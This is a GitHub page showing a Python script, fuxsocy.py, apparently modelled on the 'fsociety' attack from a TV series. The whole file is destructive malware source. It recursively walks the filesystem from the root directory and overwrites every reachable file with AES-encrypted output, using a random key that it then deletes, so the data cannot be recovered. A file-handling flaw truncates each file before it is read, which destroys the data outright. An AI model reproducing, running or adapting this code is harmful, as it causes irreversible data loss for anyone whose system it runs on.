forked from atvfool/fsociety
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathfuxsocy.py
executable file
·133 lines (119 loc) · 3.98 KB
/
fuxsocy.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
#!/usr/bin/python3
import os
import time
import sys
import subprocess
from Crypto.Cipher import AES
from Crypto.Hash import SHA256
from Crypto import Random
from random import SystemRandom
from string import ascii_letters, digits, punctuation
START_DIR = '/'
SALT = 'fsociety'
CS = 64*1024
def encrypt(root, filename, key):
if ('fuxsocy.py' not in filename) and ('fsociety00.dat' not in filename):
file_path = root + '/' + filename
file_size = str(os.path.getsize(file_path)).zfill(16)
iv = Random.new().read(16)
encryptor = AES.new(key, AES.MODE_CBC, iv)
try:
with open(file_path, 'rb') as infile:
with open(file_path, 'wb') as outfile:
outfile.write(file_size.encode('utf-8'))
outfile.write(iv)
while True:
chunk = infile.read(CS)
if len(chunk) == 0:
break
elif len(chunk) % 16 != 0:
chunk += b' ' * (16 - (len(chunk) % 16))
outfile.write(encryptor.encrypt(chunk))
except:
pass
def recurse(directory, key):
root = next(os.walk(directory))[0]
directories = next(os.walk(directory))[1]
files = next(os.walk(directory))[2]
for file in files:
try:
encrypt(root, file, key)
except:
pass
if len(directories) > 0:
for directory in directories:
try:
subdirectories = next(os.walk(os.path.join(root, directory)))[1]
subfiles = next(os.walk(os.path.join(root, directory)))[2]
for subfile in subfiles:
try:
encrypt(next(os.walk(os.path.join(root, directory)))[0], subfile, key)
except:
pass
if len(subdirectories) > 0:
for subdirectory in subdirectories:
path = root + '/' + directory + '/' + subdirectory
try:
recurse(directory=path, key=key)
except:
pass
except:
pass
def gen_key(salt):
os.urandom(16)
print('Loading Source of Entropy')
password = salt.join((''.join(SystemRandom().choice(ascii_letters + digits + punctuation) for x in range(SystemRandom().randint(40, 160)))) for x in range(SystemRandom().randint(80, 120)))
update_progress(0.3)
time.sleep(0.4)
update_progress(0.6)
time.sleep(0.2)
update_progress(1)
print()
print('\nGenerating Keys')
update_progress(0.3)
hasher = SHA256.new(password.encode('utf-8'))
time.sleep(0.6)
update_progress(0.5)
time.sleep(0.6)
update_progress(1)
print()
print()
return hasher.digest()
def update_progress(progress):
barLength = 23
status = ""
if isinstance(progress, int):
progress = float(progress)
if progress >= 1:
progress = 1
status = "COMPLETE"
block = int(round(barLength*progress))
text = "\r{0}\t\t{1}".format("#"*block + " "*(barLength-block), status)
sys.stdout.write(text)
sys.stdout.flush()
def pwn():
subprocess.call('clear')
print('Executing FuxSocy')
key = gen_key(SALT)
print('Locating target files.')
dirs = next(os.walk(START_DIR))[1]
time.sleep(0.7)
print('beginning crypto operations')
for dir in dirs:
if START_DIR == '/':
directory = START_DIR + dir
else:
directory = START_DIR + '/' + dir
if (directory != '/run') and (directory != '/lib') and (directory != '/proc'):
print('Encrypting {}'.format(directory))
recurse(directory, key)
files = next(os.walk(START_DIR))[2]
for file in files:
try:
encrypt(START_DIR, file, key)
except:
pass
del key
exit(0)
if __name__ == '__main__':
pwn()